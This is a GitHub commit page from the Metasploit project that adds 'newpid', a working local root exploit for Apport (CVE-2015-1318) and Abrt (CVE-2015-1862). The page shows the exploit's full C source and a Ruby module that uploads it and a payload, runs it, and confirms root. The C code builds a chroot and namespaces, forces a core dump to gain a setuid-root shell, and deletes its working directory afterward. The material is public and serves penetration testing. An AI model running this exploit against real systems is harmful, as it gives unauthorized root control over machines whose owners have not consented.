Skip to content

Commit 2f3e3b4

Browse files
committed
Use cross-compiled exploit
1 parent 842736f commit 2f3e3b4

File tree

3 files changed

+165
-8
lines changed

3 files changed

+165
-8
lines changed

data/exploits/cve-2015-1318/newpid

-666 KB
Binary file not shown.

data/exploits/cve-2015-1318/newpid.c

Lines changed: 143 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,143 @@
1+
#define _GNU_SOURCE
2+
#include <stdio.h>
3+
#include <unistd.h>
4+
#include <stdlib.h>
5+
#include <signal.h>
6+
#include <err.h>
7+
#include <syslog.h>
8+
#include <sched.h>
9+
#include <linux/sched.h>
10+
#include <sys/types.h>
11+
#include <sys/stat.h>
12+
#include <sys/wait.h>
13+
14+
//
15+
// Apport/Abrt Vulnerability Demo Exploit.
16+
//
17+
// Apport: CVE-2015-1318
18+
// Abrt: CVE-2015-1862
19+
//
20+
// -- [email protected], April 2015.
21+
//
22+
// $ gcc -static newpid.c
23+
// $ ./a.out
24+
// uid=0(root) gid=0(root) groups=0(root)
25+
// sh-4.3# exit
26+
// exit
27+
//
28+
// Hint: To get libc.a,
29+
// yum install glibc-static or apt-get install libc6-dev
30+
//
31+
32+
//
33+
// Modified for Metasploit. Original exploit:
34+
// - https://www.exploit-db.com/exploits/36746/
35+
//
36+
37+
int main(int argc, char **argv)
38+
{
39+
int status;
40+
pid_t wrapper;
41+
pid_t init;
42+
pid_t subprocess;
43+
unsigned i;
44+
45+
// If we're root, then we've convinced the core handler to run us,
46+
// so create a setuid root executable that can be used outside the chroot.
47+
if (getuid() == 0) {
48+
if (chown("sh", 0, 0) != 0)
49+
exit(EXIT_FAILURE);
50+
51+
if (chmod("sh", 04755) != 0)
52+
exit(EXIT_FAILURE);
53+
54+
return EXIT_SUCCESS;
55+
}
56+
57+
// If I'm not root, but euid is 0, then the exploit worked and we can spawn
58+
// a shell and cleanup.
59+
if (setuid(0) == 0) {
60+
system("id");
61+
system("rm -rf exploit");
62+
execlp("sh", "sh", NULL);
63+
64+
// Something went wrong.
65+
err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked");
66+
}
67+
68+
// It looks like the exploit hasn't run yet, so create a chroot.
69+
if (mkdir("exploit", 0755) != 0
70+
|| mkdir("exploit/usr", 0755) != 0
71+
|| mkdir("exploit/usr/share", 0755) != 0
72+
|| mkdir("exploit/usr/share/apport", 0755) != 0
73+
|| mkdir("exploit/usr/libexec", 0755) != 0) {
74+
err(EXIT_FAILURE, "failed to create chroot directory");
75+
}
76+
77+
// Create links to the exploit locations we need.
78+
if (link(*argv, "exploit/sh") != 0
79+
|| link(*argv, "exploit/usr/share/apport/apport") != 0 // Ubuntu
80+
|| link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) { // Fedora
81+
err(EXIT_FAILURE, "failed to create required hard links");
82+
}
83+
84+
// Create a subprocess so we don't enter the new namespace.
85+
if ((wrapper = fork()) == 0) {
86+
87+
// In the child process, create a new pid and user ns. The pid
88+
// namespace is only needed on Ubuntu, because they check for %P != %p
89+
// in their core handler. On Fedora, just a user ns is sufficient.
90+
if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)
91+
err(EXIT_FAILURE, "failed to create new namespace");
92+
93+
// Create a process in the new namespace.
94+
if ((init = fork()) == 0) {
95+
96+
// Init (pid 1) signal handling is special, so make a subprocess to
97+
// handle the traps.
98+
if ((subprocess = fork()) == 0) {
99+
// Change /proc/self/root, which we can do as we're privileged
100+
// within the new namepace.
101+
if (chroot("exploit") != 0) {
102+
err(EXIT_FAILURE, "chroot didnt work");
103+
}
104+
105+
// Now trap to get the core handler invoked.
106+
__builtin_trap();
107+
108+
// Shouldn't happen, unless user is ptracing us or something.
109+
err(EXIT_FAILURE, "coredump failed, were you ptracing?");
110+
}
111+
112+
// If the subprocess exited with an abnormal signal, then everything worked.
113+
if (waitpid(subprocess, &status, 0) == subprocess)
114+
return WIFSIGNALED(status)
115+
? EXIT_SUCCESS
116+
: EXIT_FAILURE;
117+
118+
// Something didn't work.
119+
return EXIT_FAILURE;
120+
}
121+
122+
// The new namespace didn't work.
123+
if (waitpid(init, &status, 0) == init)
124+
return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS
125+
? EXIT_SUCCESS
126+
: EXIT_FAILURE;
127+
128+
// Waitpid failure.
129+
return EXIT_FAILURE;
130+
}
131+
132+
// If the subprocess returned sccess, the exploit probably worked,
133+
// reload with euid zero.
134+
if (waitpid(wrapper, &status, 0) == wrapper) {
135+
// All done, spawn root shell.
136+
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
137+
execl(*argv, "w00t", NULL);
138+
}
139+
}
140+
141+
// Unknown error.
142+
errx(EXIT_FAILURE, "unexpected result, cannot continue");
143+
}

modules/exploits/linux/local/apport_chroot_priv_esc.rb

Lines changed: 22 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -58,6 +58,10 @@ def initialize(info = {})
5858
])
5959
end
6060

61+
def base_dir
62+
datastore['WritableDir']
63+
end
64+
6165
def check
6266
res = cmd_exec 'apport-cli --version'
6367

@@ -118,37 +122,47 @@ def exploit
118122
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
119123
end
120124

121-
# Tavis Ormandy's exploit:
125+
# Upload Tavis Ormandy's newpid exploit:
122126
# - https://www.exploit-db.com/exploits/36746/
123-
# Compiled on Ubuntu 14.04.1 LTS x86
127+
# Cross-compiled with musl:
128+
# - i486-linux-musl-cc -static newpid.c
124129
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-1318', 'newpid'
125130
fd = ::File.open path, 'rb'
126131
executable_data = fd.read fd.stat.size
127132
fd.close
128133

129134
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
130-
executable_path = "#{datastore['WritableDir']}/#{executable_name}"
135+
executable_path = "#{base_dir}/#{executable_name}"
131136
upload_and_chmodx executable_path, executable_data
132137

138+
# Upload payload executable
133139
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
134-
payload_path = "#{datastore['WritableDir']}/#{payload_name}"
140+
payload_path = "#{base_dir}/#{payload_name}"
135141
upload_and_chmodx payload_path, generate_payload_exe
136142

137-
# the exploit writes an 'exploit' directory
143+
# newpid writes an 'exploit' directory
138144
# which must be removed manually if exploitation fails
139-
register_dir_for_cleanup "#{datastore['WritableDir']}/exploit"
145+
register_dir_for_cleanup "#{base_dir}/exploit"
146+
147+
# Change working directory to base_dir,
148+
# allowing newpid to create the required hard links
149+
cmd_exec "cd '#{base_dir}'"
140150

141151
print_status 'Launching exploit...'
142-
cmd_exec "cd #{datastore['WritableDir']}"
143152
output = cmd_exec executable_path
144153
output.each_line { |line| vprint_status line.chomp }
145154

155+
# Check for root privileges
146156
id = cmd_exec 'id'
157+
147158
unless id.include? 'root'
148159
fail_with Failure::Unknown, 'Failed to gain root privileges'
149160
end
150161

151-
print_good "Upgraded session to root privileges ('#{id}')"
162+
print_good 'Upgraded session to root privileges'
163+
vprint_line id
164+
165+
# Execute payload executable
152166
vprint_status 'Executing payload...'
153167
cmd_exec payload_path
154168
end

0 commit comments

Comments
 (0)